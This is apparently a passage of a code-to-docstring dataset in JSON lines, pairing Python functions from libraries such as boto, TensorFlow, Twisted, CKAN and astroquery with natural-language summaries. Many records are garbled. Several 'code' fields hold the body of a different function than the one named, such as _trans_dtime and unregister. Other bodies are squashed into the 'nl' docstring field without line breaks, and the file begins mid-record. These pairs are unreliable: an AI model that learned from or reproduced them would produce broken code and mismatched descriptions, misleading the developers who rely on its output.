json.loads(body)\n else:\n boto.log.error('%s %s' % (response.status, response.reason))\n boto.log.error('%s' % body)\n raise self.ResponseError(response.status, response.reason, body)\n", "nl": "Get attributes of a Topic:type topic: string:param topic: The ARN of the topic."} {"code": "def _parse_status_async_line(self, line):\n pass\n", "nl": "Parse a GDB/MI async status line and change state accordingly.:param line: GDB/MI line to be parsed."} {"code": "def getsecret(self, section, option, **kwargs):\n raw = kwargs.get('raw', False)\n value = self.get(section, option, **kwargs)\n if raw:\n return value\n return self.custodia_client.get_secret(value)\n\n", "nl": "Get a secret from Custodia"} {"code": "def preprocess(self, raw_image):\n", "nl": "Preprocessing raw image.if self.summary_verbosity >= 3:tf.summary.image('raw.image', tf.expand_dims(raw_image, 0))if self.train and self.distortions:image = self._distort_image(raw_image)else:image = self._eval_image(raw_image)return imagedef minibatch(self, dataset, subset, use_datasets, cache_data,shift_ratio=-1):# TODO(jsimsa): Implement datasets code pathdel use_datasets, cache_data, shift_ratiowith tf.name_scope('batch_processing'):all_images, all_labels = dataset.read_data_files(subset)all_images = tf.constant(all_images)all_labels = tf.constant(all_labels)input_image, input_label = tf.train.slice_input_producer([all_images, all_labels])input_image = tf.cast(input_image, self.dtype)input_label = tf.cast(input_label, tf.int32)# Ensure that the random shuffling has good mixing properties.min_fraction_of_examples_in_queue = 0.4min_queue_examples = int(dataset.num_examples_per_epoch(subset) *min_fraction_of_examples_in_queue)raw_images, raw_labels = tf.train.shuffle_batch([input_image, input_label], batch_size=self.batch_size,capacity=min_queue_examples + 3 * self.batch_size,min_after_dequeue=min_queue_examples)images = [[] for i in range(self.num_splits)]labels = [[] for i in range(self.num_splits)]# Create a list of size batch_size, each containing one image of the# batch. Without the unstack call, raw_images[i] would still access# the same image via a strided_slice op, but would be slower.raw_images = tf.unstack(raw_images, axis=0)raw_labels = tf.unstack(raw_labels, axis=0)for i in xrange(self.batch_size):split_index = i % self.num_splits# The raw image read from data has the format [depth, height,# width] reshape to the format returned by minibatch.raw_image = tf.reshape(raw_images[i],[dataset.depth, dataset.height,dataset.width])raw_image = tf.transpose(raw_image, [1, 2, 0])image = self.preprocess(raw_image)images[split_index].append(image)labels[split_index].append(raw_labels[i])for split_index in xrange(self.num_splits):images[split_index] = tf.parallel_stack(images[split_index])labels[split_index] = tf.parallel_stack(labels[split_index])return images, labelsclass SyntheticImagePreprocessor(object):Preprocessor used for images and labels."} {"code": "def load(self, require=True, *args, **kwargs):\n if not require or args or kwargs:\n warnings.warn(\n \"Parameters to load are deprecated. Call .resolve and \"\n \".require separately.\",\n DeprecationWarning,\n stacklevel=2,\n )\n if require:\n self.require(*args, **kwargs)\n return self.resolve()\n", "nl": "Require packages for this EntryPoint, then resolve it."} {"code": "def _trans_dtime(self, value):\n if state == 0:\n return \"ok\"\n elif state == 1:\n return \"down\"\n else:\n return \"unreachable\"\n", "nl": " Translate scheduled downtime try:conv = int(value)except ValueError:return 0if conv < 1:return 0return convdef _trans_host_state(self, state): Translate/validate Host state "} {"code": "def unregister(self, fileobj):\n try:\n key = self._fd_to_key[self._fileobj_lookup(fileobj)]\n except KeyError:\n raise KeyError(\"{0!r} is not registered\".format(fileobj))\n\n if events != key.events:\n self.unregister(fileobj)\n key = self.register(fileobj, events, data)\n\n elif data != key.data:\n key = key._replace(data=data)\n self._fd_to_key[key.fd] = key\n\n return key\n", "nl": " Unregister a file object from being monitored. try:key = self._fd_to_key.pop(self._fileobj_lookup(fileobj))except KeyError:raise KeyError(\"{0!r} is not registered\".format(fileobj))# Getting the fileno of a closed socket on Windows errors with EBADF.except socket.error as e: # Platform-specific: Windows.if e.errno != errno.EBADF:raiseelse:for key in self._fd_to_key.values():if key.fileobj is fileobj:self._fd_to_key.pop(key.fd)breakelse:raise KeyError(\"{0!r} is not registered\".format(fileobj))return keydef modify(self, fileobj, events, data=None): Change a registered file object monitored events and data. "} {"code": "def zeroShape(self, shape):\n index = self.getShapeIndex(shape)\n tgn = \"{0}.inputTarget[0].inputTargetGroup[{1}]\".format(self.shapeNode, index)\n shapeInput = \"{0}.inputTargetItem[6000]\".format(tgn)\n cmds.setAttr(\n \"{0}.inputPointsTarget\".format(shapeInput), 0, (), type=\"pointArray\"\n )\n cmds.setAttr(\n \"{0}.inputComponentsTarget\".format(shapeInput), 0, \"\", type=\"componentList\"\n )\n\n @undoable", "nl": "Set the shape to be completely zeroedParameters----------shape :Returns-------"} {"code": "def requeue_pages_for_derivs(self, derivs_rec, include_existing=True):\n\n page_data = self.redis.hgetall(self.pages_key)\n pages = []\n count = 0\n\n for n, v in page_data.items():\n page = json.loads(v)\n if not include_existing:\n if page.get('has_text') and page.get('has_screenshot'):\n continue\n\n self.queue_page_for_derivs(n, page, derivs_rec)\n count += 1\n\n return count\n", "nl": " Queue pages for derivs:param str derivs_rec: If set, existing recording id to place derivatives in:param: bool include_existing: If true, include pages that already havetext and screenshots"} {"code": "def _delete_record(self, data_record: DataRecord) -> None:\n\n raise NotImplementedError", "nl": "Remove item from persistence storeParameters----------data_record: DataRecordDataRecord instance"} {"code": "def service_request_async(self, service, params, pagesize=None, page=None, **kwargs):\n\n if service not in self._column_configs.keys():\n fetch_name = kwargs.pop('fetch_name', None)\n self._get_col_config(service, fetch_name)\n self._current_service = service\n\n if not pagesize:\n pagesize = self.PAGESIZE\n if not page:\n page = 1\n retrieve_all = True\n else:\n retrieve_all = False\n\n headers = {\"User-Agent\": self._session.headers[\"User-Agent\"],\n \"Content-type\": \"application/x-www-form-urlencoded\",\n \"Accept\": \"text/plain\"}\n\n mashup_request = {'service': service,\n 'params': params,\n 'format': 'json',\n 'pagesize': pagesize,\n 'page': page}\n\n for prop, value in kwargs.items():\n mashup_request[prop] = value\n\n req_string = _prepare_service_request_string(mashup_request)\n response = self._request(\"POST\", self.MAST_REQUEST_URL, data=req_string, headers=headers,\n retrieve_all=retrieve_all)\n\n return response\n", "nl": "Given a Mashup service and parameters, builds and excecutes a Mashup query.See documentation `here `__for information about how to build a Mashup request.Parameters----------service : strThe Mashup service to query.params : dictJSON object containing service parameters.pagesize : int, optionalDefault None.Can be used to override the default pagesize (set in configs) for this query only.E.g. when using a slow internet connection.page : int, optionalDefault None.Can be used to override the default behavior of all results being returned to obtaina specific page of results.**kwargs :See MashupRequest properties`here `__for additional keyword arguments.Returns-------response : list of `~requests.Response`"} {"code": "def test_add_debug_option_with_argparse(self):\n p = ArgumentParser()\n add_debug_option(p)\n args = p.parse_args(['--debug'])\n self.assertTrue(args.debug)", "nl": "add_debug_option enables '--debug' with ArgumentParser"} {"code": "def getAttributeMT(tweet):\n return re.findall(ParseTweet.regexp[\"ALNUM\"], tweet)\n\n @staticmethod", "nl": " see if tweet is a MT return re.search(ParseTweet.regexp[\"MT\"], tweet.strip()) is not None@staticmethoddef getUserHandles(tweet): given a tweet we try and extract all user handles in order of occurrence"} {"code": "def test_exception(self):\n module = install_bundle(self.framework)\n context = self.framework.get_bundle_context()\n assert isinstance(context, BundleContext)\n\n self.assertIsNone(\n context.get_service_reference(IEchoService),\n \"Service is already registered\",\n )\n\n consumer_muffled = self.ipopo.instantiate(\n module.FACTORY_REQUIRES_BROADCAST, NAME_A\n )\n consumer_raise = self.ipopo.instantiate(\n module.FACTORY_REQUIRES_BROADCAST_UNMUFFLED, NAME_B\n )\n\n self.assertFalse(\n consumer_muffled.service.raise_ex(), \"Call should return False\"\n )\n self.assertFalse(\n consumer_raise.service.raise_ex(), \"Call should return False\"\n )\n\n svc = SampleEchoService()\n context.register_service(IEchoService, svc, {})\n\n self.assertTrue(\n consumer_muffled.service.raise_ex(), \"Call should return True\"\n )\n self.assertTrue(svc.raised, \"Service not called\")\n svc.reset()\n\n self.assertRaises(\n KeyError, consumer_raise.service.raise_ex,\n )\n self.assertTrue(svc.raised, \"Service not called\")\n", "nl": "Tests muffling exceptions or not"} {"code": "def test_get_and_set_data(self):\n input_data = \"1.1\\t2.2\\t3.3\\t4.4\"\n line = TabDataLine(line=input_data,column_names=('one','two','three','four'))\n self.assertEqual(len(line),4,\"Line should have 4 items\")\n self.assertEqual(str(line),input_data,\"String representation should be same as input\")\n self.assertEqual(line[1],2.2,\"Column 2 data is incorrect\")\n self.assertEqual(line[\"two\"],2.2,\"Column 2 data is incorrect\")\n line[\"two\"] = 4.4\n self.assertEqual(line[1],4.4,\"Column 2 data is incorrect after set operation\")\n self.assertEqual(line[\"two\"],4.4,\"Column 2 data is incorrect after set operation\")\n", "nl": "Create new data line and do get and set operations"} {"code": "def get_windows_disk_drive(session, filename, extension=\"exe\", tmout=240):\n return get_windows_file_abs_path(session, filename,\n extension).split(\":\")[0]\n\n", "nl": "Get the windows disk drive number"} {"code": "def formatweekheader(self):\n s = ''.join((self.formatweekday(i) for i in self.iterweekdays()))\n return '%s' % s\n", "nl": "Return a header for a week as a table row."} {"code": "def setUpWarnings(self):\n 'warning' is the instance of Warning to match against;\n can also be instance of WarningMessage (as returned by catch_warnings).\n \"\"\"", "nl": "helper to init warning filters before subclass setUp()if self.resetWarningState:ctx = reset_warnings()ctx.__enter__()self.addCleanup(ctx.__exit__)warnings.filterwarnings(\"ignore\", \"the method .*\\.(encrypt|genconfig|genhash)\\(\\) is deprecated\")warnings.filterwarnings(\"ignore\", \"the 'vary_rounds' option is deprecated\")#---------------------------------------------------------------# tweak message formatting so longMessage mode is only enabled# if msg ends with \":\", and turn on longMessage by default.#---------------------------------------------------------------longMessage = Truedef _formatMessage(self, msg, std):if self.longMessage and msg and msg.rstrip().endswith(\":\"):return '%s %s' % (msg.rstrip(), std)else:return msg or std#---------------------------------------------------------------# override assertRaises() to support '__msg__' keyword,# and to return the caught exception for further examination#---------------------------------------------------------------def assertRaises(self, _exc_type, _callable=None, *args, **kwds):msg = kwds.pop(\"__msg__\", None)if _callable is None:# FIXME: this ignores 'msg'return super(TestCase, self).assertRaises(_exc_type, None,*args, **kwds)try:result = _callable(*args, **kwds)except _exc_type as err:return errstd = \"function returned %r, expected it to raise %r\" % (result,_exc_type)raise self.failureException(self._formatMessage(msg, std))#---------------------------------------------------------------# forbid a bunch of deprecated aliases so I stop using them#---------------------------------------------------------------def assertEquals(self, *a, **k):raise AssertionError(\"this alias is deprecated by unittest2\")assertNotEquals = assertRegexMatches = assertEquals#===================================================================# custom methods for matching warnings#===================================================================def assertWarning(self, warning,message_re=None, message=None,category=None,filename_re=None, filename=None,lineno=None,msg=None,):check if warning matches specified parameters."} {"code": "def remove_folder(self, folder):\n now = time.time()\n for entry in os.listdir(os.path.join(self._path, 'tmp')):\n path = os.path.join(self._path, 'tmp', entry)\n if now - os.path.getatime(path) > 129600:\n os.remove(path)\n\n _count = 1\n", "nl": "Delete the named folder, which must be empty.path = os.path.join(self._path, '.' + folder)for entry in os.listdir(os.path.join(path, 'new')) + \\os.listdir(os.path.join(path, 'cur')):if len(entry) < 1 or entry[0] != '.':raise NotEmptyError('Folder contains message(s): %s' % folder)for entry in os.listdir(path):if entry != 'new' and entry != 'cur' and entry != 'tmp' and \\os.path.isdir(os.path.join(path, entry)):raise NotEmptyError(\"Folder contains subdirectory '%s': %s\" %(folder, entry))for root, dirs, files in os.walk(path, topdown=False):for entry in files:os.remove(os.path.join(root, entry))for entry in dirs:os.rmdir(os.path.join(root, entry))os.rmdir(path)def clean(self):Delete old files in \"tmp\"."} {"code": "def symbols_to_logits_fn(ids, i, cache):\n decoder_input = ids[:, -1:]\n\n source_decoder_input = decoder_input\n decoder_input = self.embedding_lookup(decoder_input)\n embedding_mask = tf.cast(\n tf.not_equal(source_decoder_input, 0), decoder_input.dtype)\n decoder_input *= tf.expand_dims(embedding_mask, -1)\n decoder_input += timing_signal[i]\n if self._padded_decode:\n bias_shape = decoder_self_attention_mask.shape.as_list()\n self_attention_mask = tf.slice(decoder_self_attention_mask, [0, i, 0],\n [bias_shape[0], 1, bias_shape[2]])\n else:\n self_attention_mask = decoder_self_attention_mask[:, i:i + 1, :i + 1]\n decoder_shape = tf_utils.get_shape_list(decoder_input, expected_rank=3)\n batch_size = decoder_shape[0]\n decoder_length = decoder_shape[1]\n\n self_attention_mask = tf.tile(self_attention_mask, [batch_size, 1, 1])\n attention_mask = cache.get(\"encoder_decoder_attention_mask\")\n attention_mask = tf.tile(attention_mask, [1, decoder_length, 1])\n\n decoder_outputs = self.decoder_layer(\n decoder_input,\n cache.get(\"encoder_outputs\"),\n self_attention_mask=self_attention_mask,\n cross_attention_mask=attention_mask,\n cache=cache,\n decode_loop_step=i if self._padded_decode else None)\n\n decoder_outputs = tf.cast(decoder_outputs, dtype=self.compute_dtype)\n logits = self._embedding_linear(self.embedding_lookup.embeddings,\n decoder_outputs)\n logits = tf.squeeze(logits, axis=[1])\n return logits, cache\n\n return symbols_to_logits_fn\n\n\nclass TransformerEncoder(tf.keras.layers.Layer):\n \"\"\"Transformer encoder.\n", "nl": "Generate logits for next potential IDs.Args:ids: Current decoded sequences. int tensor with shape `(batch_size *beam_size, i + 1)`.i: Loop index.cache: Dictionary of values storing the encoder output, encoder-decoderattention bias, and previous decoder attention values.Returns:Tuple of(logits with shape `(batch_size * beam_size, vocab_size)`,updated cache values)"} {"code": "def source_list(self):\n if source == \"Local Speaker\":\n if self.hass:\n self.hass.async_create_task(self.alexa_api.disconnect_bluetooth())\n else:\n await self.alexa_api.disconnect_bluetooth()\n self._source = \"Local Speaker\"\n elif self._bluetooth_state.get(\"pairedDeviceList\"):\n for devices in self._bluetooth_state[\"pairedDeviceList\"]:\n if devices[\"friendlyName\"] == source:\n if self.hass:\n self.hass.async_create_task(\n self.alexa_api.set_bluetooth(devices[\"address\"])\n )\n else:\n await self.alexa_api.set_bluetooth(devices[\"address\"])\n self._source = source\n if not (\n self.hass.data[DATA_ALEXAMEDIA][\"accounts\"][self._login.email][\"websocket\"]\n ):\n await self.async_update()\n", "nl": "List of available input sources.return self._source_list@_catch_login_errorsasync def async_select_source(self, source):Select input source."} {"code": "def finish(self):\n if self._encoder:\n data = self._encoder.finish()\n if data:\n http.Request.write(self, data)\n return http.Request.finish(self)\n\n", "nl": "Override C{http.Request.finish} for possible encoding."} {"code": "def key(self):\n return self._key\n\n @key.setter", "nl": "Gets the key of this V1alpha1S3Artifact. # noqa: E501Key is the key in the bucket where the artifact resides # noqa: E501:return: The key of this V1alpha1S3Artifact. # noqa: E501:rtype: str"} {"code": "def __init__(self, endpoint, factory, retryPolicy=None, clock=None):\n clock = _maybeGlobalReactor(clock)", "nl": "@param endpoint: A L{stream client endpoint} provider which will be used toconnect when the service starts.@param factory: A L{protocol factory }which will be used to create clients for the endpoint.@param retryPolicy: A policy configuring how long L{ClientService} willwait between attempts to connect to C{endpoint}.@type retryPolicy: callable taking (the number of failed connectionattempts made in a row (L{int})) and returning the number ofseconds to wait before making another attempt.@param clock: The clock used to schedule reconnection. It's mainlyuseful to be parametrized in tests. If the factory is serialized,this attribute will not be serialized, and the default value (thereactor) will be restored when deserialized.@type clock: L{IReactorTime}"} {"code": "def get_url_from_path(self, path):\n Set function callback to filter URL.\n", "nl": "Return the URL for a given path using the current URL as base.return urlparse.urljoin(self.url, path)def set_url_filter(self, url_filter):"} {"code": "def data(self) -> Optional[bytes]:\n enforce(self.is_set(\"kwargs\"), \"'kwargs' content is not set.\")\n return cast(CustomKwargs, self.get(\"kwargs\"))\n\n @property", "nl": "Get the 'data' content from the message.return cast(Optional[bytes], self.get(\"data\"))@propertydef kwargs(self) -> CustomKwargs:Get the 'kwargs' content from the message."} {"code": "def f0_to_mat(self, f0_seq, var=625):\n if f0_seq.dim() != 3:\n print(\"f0 sequence loaded in tensor should be in shape (1, N, 1)\")\n sys.exit(1)\n\n v_idx = f0_seq > self.m_v_hz\n u_idx = ~v_idx\n\n target = torch.zeros_like(f0_seq)\n target[v_idx] = self.hz2cent(f0_seq[v_idx])\n target[u_idx] = 0\n\n target_mat = torch.exp(-torch.pow(self.m_dis_cent - target, 2)/2/std)\n\n for idx in range(target_mat.shape[0]):\n target_mat[idx, u_idx[idx, :, 0], :] *= 0.0\n\n return target_mat\n", "nl": "f0_to_mat(self, f0_seq)Convert F0 sequence (hz) into a probability matrix.Jong Wook Kim, Justin Salamon, Peter Li, and Juan Pablo Bello. 2018.CREPE: A Convolutional Representation for Pitch Estimation.In Proc. ICASSP, 161-165Parameters----------f0_seq: torch.tensor (1, N, 1)Return------target_mat: torch.tensor (1, N, bins)created probability matrix for f0"} {"code": "def user_autocomplete(context: Context, data_dict: DataDict) -> ActionResult.UserAutocomplete:\n model = context['model']\n user = context['user']\n\n _check_access('user_autocomplete', context, data_dict)\n\n q = data_dict['q']\n limit = data_dict.get('limit', 20)\n ignore_self = data_dict.get('ignore_self', False)\n\n query = model.User.search(q)\n query = query.filter(model.User.state != model.State.DELETED)\n\n if ignore_self:\n query = query.filter(model.User.name != user)\n\n query = query.limit(limit)\n\n user_list: ActionResult.UserAutocomplete = []\n for user in query.all():\n result_dict = {}\n for k in ['id', 'name', 'fullname']:\n result_dict[k] = getattr(user, k)\n\n user_list.append(result_dict)\n\n return user_list\n\n", "nl": "Return a list of user names that contain a string.:param q: the string to search for:type q: string:param limit: the maximum number of user names to return (optional,default: ``20``):type limit: int:rtype: a list of user dictionaries each with keys ``'name'``,``'fullname'``, and ``'id'``"} {"code": "def test_removeWriter(self):\n poller = _ContinuousPolling(Clock())\n writer = object()\n poller.addWriter(writer)\n poller.removeWriter(writer)\n self.assertIsNone(poller._loop)\n self.assertEqual(poller._reactor.getDelayedCalls(), [])\n self.assertFalse(poller.isWriting(writer))\n\n", "nl": "Removing a writer stops the C{LoopingCall}."} {"code": "def describe(self, action):\n\t\tif action.startswith('unity'):\n\t\t\tpath = self.menubar_path\n\t\telif action.startswith('win'):\n\t\t\tpath = self.win_path\n\t\telif action.startswith('app'):\n\t\t\tpath = self.app_path\n\t\telse:\n\t\t\treturn None\n\n\t\tdot = action.find('.')\n\t\taction = action[dot+1:]\n\t\tobj = self.session.get_object(self.bus_name, path)\n\t\tinterface = dbus.Interface(obj, dbus_interface='org.gtk.Actions')\n\n\t\ttry:\n\t\t\tdescription = interface.Describe(action)\n\t\texcept Exception as e:\n\t\t\treturn None\n\t\tenabled = description[0]\n\t\tchecked = description[2]\n\t\treturn enabled, checked\n", "nl": "Describe return this:dbus.Struct((dbus.Boolean(True), # enableddbus.Signature(''),dbus.Array([ # This is empty in a not checked itemdbus.Boolean(True, variant_level=1)], # Checked or notsignature=dbus.Signature('v'))),signature=None)"} {"code": "def deploy_image(self, image_name, oc_new_app_args=None, project=None, name=None):\n self.project = project or self.get_current_project()\n\n name = name or 'app-{random_string}'.format(random_string=random_str(5))\n\n oc_new_app_args = oc_new_app_args or []\n\n new_image = self.import_image(image_name.split('/')[-1], image_name)\n\n c = self._oc_command(\n [\"new-app\"] + oc_new_app_args + [new_image] +\n [\"-n\"] + [project] + [\"--name=%s\" % name])\n\n logger.info(\"Creating new app in project %s\", project)\n\n try:\n run_cmd(c)\n except subprocess.CalledProcessError as ex:\n raise ConuException(\"oc new-app failed: %s\" % ex)\n\n return name\n", "nl": "Deploy image in OpenShift cluster using 'oc new-app':param image_name: image name with tag:param oc_new_app_args: additional parameters for the `oc new-app`, env variables etc.:param project: project where app should be created, default: current project:param name:str, name of application, if None random name is generated:return: str, name of the app"} {"code": "def _test_build_detectors(self, device):\n self.assertGreater(len(cfg_files), 0)\n\n for cfg_file in cfg_files:\n with self.subTest(cfg_file=cfg_file):\n print('Testing {}...'.format(cfg_file))\n cfg = utils.load_config_from_file(cfg_file)\n cfg.MODEL.RPN.POST_NMS_TOP_N_TEST = 10\n cfg.MODEL.RPN.FPN_POST_NMS_TOP_N_TEST = 10\n model = create_model(cfg, device)\n inputs = create_random_input(cfg, device)\n model.eval()\n output = model(inputs)\n self.assertEqual(len(output), len(inputs.image_sizes))\n\n\nclass TestDetectors(unittest.TestCase):", "nl": " Make sure models build cfg_files = get_config_files(None, EXCLUDED_FOLDERS)self.assertGreater(len(cfg_files), 0)for cfg_file in cfg_files:with self.subTest(cfg_file=cfg_file):print('Testing {}...'.format(cfg_file))cfg = utils.load_config_from_file(cfg_file)create_model(cfg, device)def _test_run_selected_detectors(self, cfg_files, device): Make sure models build and run "} {"code": "def _c_arch_flags(self):\n if not sys.platform == 'darwin':\n return []\n arch_flags = []\n c_archs = self._c_arch_flags()\n if \"i386\" in c_archs:\n c_archs[c_archs.index(\"i386\")] = \"i686\"\n for arch in [\"ppc\", \"i686\", \"x86_64\", \"ppc64\"]:\n if _can_target(cmd, arch) and arch in c_archs:\n arch_flags.extend([\"-arch\", arch])\n return arch_flags\n", "nl": " Return detected arch flags from CFLAGS from distutils import sysconfigtry:cflags = sysconfig.get_config_vars()['CFLAGS']except KeyError:return []arch_re = re.compile(r\"-arch\\s+(\\w+)\")arch_flags = []for arch in arch_re.findall(cflags):arch_flags += ['-arch', arch]return arch_flagsdef get_flags_arch(self):return []def runtime_library_dir_option(self, dir):if sys.platform[:3] == 'aix' or sys.platform == 'win32':# Linux/Solaris/Unix support RPATH, Windows and AIX do notraise NotImplementedError# TODO: could use -Xlinker here, if it's supportedassert \",\" not in dirsep = ',' if sys.platform == 'darwin' else '='return '-Wl,-rpath%s%s' % (sep, dir)class Gnu95FCompiler(GnuFCompiler):compiler_type = 'gnu95'compiler_aliases = ('gfortran', )description = 'GNU Fortran 95 compiler'def version_match(self, version_string):v = self.gnu_version_match(version_string)if not v or v[0] != 'gfortran':return Nonev = v[1]if v >= '4.':# gcc-4 series releases do not support -mno-cygwin optionpasselse:# use -mno-cygwin flag for gfortran when Python is not# Cygwin-Pythonif sys.platform == 'win32':for key in ['version_cmd', 'compiler_f77', 'compiler_f90','compiler_fix', 'linker_so', 'linker_exe']:self.executables[key].append('-mno-cygwin')return vpossible_executables = ['gfortran', 'f95']executables = {'version_cmd' : [\"\", \"-dumpversion\"],'compiler_f77' : [None, \"-Wall\", \"-g\", \"-ffixed-form\",\"-fno-second-underscore\"] + _EXTRAFLAGS,'compiler_f90' : [None, \"-Wall\", \"-g\",\"-fno-second-underscore\"] + _EXTRAFLAGS,'compiler_fix' : [None, \"-Wall\", \"-g\",\"-ffixed-form\",\"-fno-second-underscore\"] + _EXTRAFLAGS,'linker_so' : [\"\", \"-Wall\", \"-g\"],'archiver' : [\"ar\", \"-cr\"],'ranlib' : [\"ranlib\"],'linker_exe' : [None, \"-Wall\"]}module_dir_switch = '-J'module_include_switch = '-I'if sys.platform[:3] == 'aix':executables['linker_so'].append('-lpthread')if platform.architecture()[0][:2] == '64':for key in ['compiler_f77', 'compiler_f90','compiler_fix','linker_so', 'linker_exe']:executables[key].append('-maix64')g2c = 'gfortran'def _universal_flags(self, cmd):Return a list of -arch flags for every supported architecture."} {"code": "def propTxt(self):\n l = [(QApplication.translate(\"pychemqt\", \"Output Temperature\"),\n \"outT\", unidades.Temperature),\n (QApplication.translate(\"pychemqt\", \"Output Pressure\"),\n \"Pout\", unidades.Pressure),\n (QApplication.translate(\"pychemqt\", \"Output vapor fraction\"),\n \"outX\", unidades.Dimensionless),\n (QApplication.translate(\"pychemqt\", \"Working Condition\"),\n (\"TEXT_WORKING\", \"off\"), str)]\n return l\n", "nl": "Text format for reporttxt = \"#---------------\"txt += QApplication.translate(\"pychemqt\", \"Calculate properties\")txt += \"-----------------#\"+os.lineseptxt += self.propertiesToText(range(4))return txt@classmethoddef propertiesEquipment(cls):Properties availables to show in report"} {"code": "def error(msg: str):\n sys.stderr.write(msg)\n if not msg.endswith('\\n'):\n sys.stderr.write('\\n')\n sys.exit(1)\n\n\n@maintain.deprecated('Use model.parse_db_config directly instead',\n since='2.9.0')", "nl": "DEPRECATEDPrint an error message to STDOUT and exit with return code 1."} {"code": "def invocation_location():\n stack = inspect.stack()\n if len(stack) < 4:\n line_number = stack[len(stack) - 1][2]\n func_name = \"%s-%d\" % (\n argo_safe_name(workflow_filename()),\n line_number,\n )\n else:\n func_name = argo_safe_name(stack[2][3])\n line_number = stack[3][2]\n if func_name.startswith(\"<\") and func_name.endswith(\">\"):\n func_name = \"%s-%s\" % (func_name.strip(\"<|>\"), _get_uuid())\n return func_name, line_number\n\n", "nl": "If a function A in file B calls function C, which in turn callsinvocation_location(), the call returns information about the invocation,in particular, the caller's name \"A\" and the line number where Acalls C. Return (B + line_number) as function_name if A doesn't exist,where users directly calls C in file B.:return: a tuple of (function_name, invocation_line)"} {"code": "def test_get_config_value(self, hamster_spin_button, numbers):\n for number in numbers:\n hamster_spin_button.set_config_value(number)\n assert hamster_spin_button.get_value_as_int() == number", "nl": "Make sure the widget value is retrieved correctly.for number in numbers:hamster_spin_button.set_value(number)assert hamster_spin_button.get_config_value() == numberdef test_set_config_value(self, hamster_spin_button, numbers):Make sure the widget value is set correctly."} {"code": "def _contains_yieldpoint(children):\n if isinstance(children, dict):\n return any(isinstance(i, YieldPoint) for i in children.values())\n if isinstance(children, list):\n return any(isinstance(i, YieldPoint) for i in children)\n return False\n\n", "nl": "Returns True if ``children`` contains any YieldPoints.``children`` may be a dict or a list, as used by `MultiYieldPoint`and `multi_future`."} {"code": "def registerErrorHandler(f, ctx):\n import sys\n if 'libxslt' not in sys.modules:\n ret = libxml2mod.xmlRegisterErrorHandler(f,ctx)\n else:\n import libxslt\n ret = libxslt.registerErrorHandler(f,ctx)\n return ret\n\nclass parserCtxtCore:\n", "nl": "Register a Python written function to for error reporting.The function is called back as f(ctx, error). "} {"code": "def deflood(s, n=3):\n if n == 0:\n return s\n return re.sub(r'((.)\\2{%s,})' % (n-1), lambda m: m.group(1)[0] * n, s)\n", "nl": " Returns the string with no more than n repeated characters."} {"code": "def find_exe(self, exe):\n for p in self.__paths:\n fn = os.path.join(os.path.abspath(p), exe)\n if os.path.isfile(fn):\n return fn\n\n for p in os.environ['Path'].split(';'):\n fn = os.path.join(os.path.abspath(p),exe)\n if os.path.isfile(fn):\n return fn\n\n return exe\n", "nl": "Return path to an MSVC executable program.Tries to find the program in several places: first, one of theMSVC program search paths from the registry; next, the directoriesin the PATH environment variable. If any of those work, return anabsolute path that is known to exist. If none of them work, justreturn the original program name, 'exe'."} {"code": "def get_damage_status(self):\n \"\"\"", "nl": "Returns a percent value showing how damaged this gear is.mysubs = [sc.get_damage_status() for sc in self.sub_com]if mysubs:return sum(mysubs) // len(mysubs)else:return 0def can_be_damaged(self): Returns True if this gear can be damaged."} {"code": "def shear_matrix(angle, direction, point, normal):\n normal = unit_vector(normal[:3])\n direction = unit_vector(direction[:3])\n if abs(numpy.dot(normal, direction)) > 1e-6:\n raise ValueError(\"direction and normal vectors are not orthogonal\")\n angle = math.tan(angle)\n M = numpy.identity(4)\n M[:3, :3] += angle * numpy.outer(direction, normal)\n M[:3, 3] = -angle * numpy.dot(point[:3], normal) * direction\n return M\n\n", "nl": "Return matrix to shear by angle along direction vector on shear plane.The shear plane is defined by a point and normal vector. The directionvector must be orthogonal to the plane's normal vector.A point P is transformed by the shear matrix into P\" such thatthe vector P-P\" is parallel to the direction vector and its extent isgiven by the angle of P-P'-P\", where P' is the orthogonal projectionof P onto the shear plane.>>> angle = (random.random() - 0.5) * 4*math.pi>>> direct = numpy.random.random(3) - 0.5>>> point = numpy.random.random(3) - 0.5>>> normal = numpy.cross(direct, numpy.random.random(3))>>> S = shear_matrix(angle, direct, point, normal)>>> numpy.allclose(1, numpy.linalg.det(S))True"} {"code": "def test_existing_objs_all_deleted(self):\n extant_obj1 = G(models.TestModel, int_field=1)\n extant_obj2 = G(models.TestModel, int_field=2)\n extant_obj3 = G(models.TestModel, int_field=3)\n\n models.TestModel.objects.sync2([\n models.TestModel(int_field=4), models.TestModel(int_field=5), models.TestModel(int_field=6)\n ], ['int_field'], ['float_field'])\n\n self.assertEquals(models.TestModel.objects.count(), 3)\n self.assertTrue(models.TestModel.objects.filter(int_field=4).exists())\n self.assertTrue(models.TestModel.objects.filter(int_field=5).exists())\n self.assertTrue(models.TestModel.objects.filter(int_field=6).exists())\n\n with self.assertRaises(models.TestModel.DoesNotExist):\n models.TestModel.objects.get(id=extant_obj1.id)\n with self.assertRaises(models.TestModel.DoesNotExist):\n models.TestModel.objects.get(id=extant_obj2.id)\n with self.assertRaises(models.TestModel.DoesNotExist):\n models.TestModel.objects.get(id=extant_obj3.id)\n", "nl": "Tests when there are existing objects that will all be deleted."} {"code": "def createXML(self, prefix=''):\n'''", "nl": "return + self['/object[' + str(self['/trailer/topObject'].value) + ']'].createXML(prefix) + "} {"code": "def d_up_calculation(s_bar_path, flow_accum_path, target_d_up_path):\n valid_mask = (\n ~utils.array_equals_nodata(s_bar, s_bar_nodata) &\n ~utils.array_equals_nodata(flow_accumulation, flow_accum_nodata))\n result = numpy.empty(valid_mask.shape, dtype=numpy.float32)\n result[:] = _TARGET_NODATA\n result[valid_mask] = (\n s_bar[valid_mask] * numpy.sqrt(\n flow_accumulation[valid_mask] * cell_area_m2))\n return result\n\n pygeoprocessing.raster_calculator(\n [(s_bar_path, 1), (flow_accum_path, 1)], _d_up_op,\n target_d_up_path, gdal.GDT_Float32, _TARGET_NODATA)\n\n", "nl": "Calculate d_up = s_bar * sqrt(upslope area).s_bar_info = pygeoprocessing.get_raster_info(s_bar_path)s_bar_nodata = s_bar_info['nodata'][0]flow_accum_nodata = pygeoprocessing.get_raster_info(flow_accum_path)['nodata'][0]cell_area_m2 = abs(numpy.prod(s_bar_info['pixel_size']))def _d_up_op(s_bar, flow_accumulation):Calculate d_up index."} {"code": "def assert_dirs_equal(self, dir1, dir2):\n super(UntrustedRunnerIntegrationTest, self).setUp()\n data_types.Config().put()\n\n environment_string = ('APP_NAME = app\\n'\n 'RELEASE_BUILD_BUCKET_PATH = '\n 'gs://clusterfuzz-test-data/test_builds/'\n 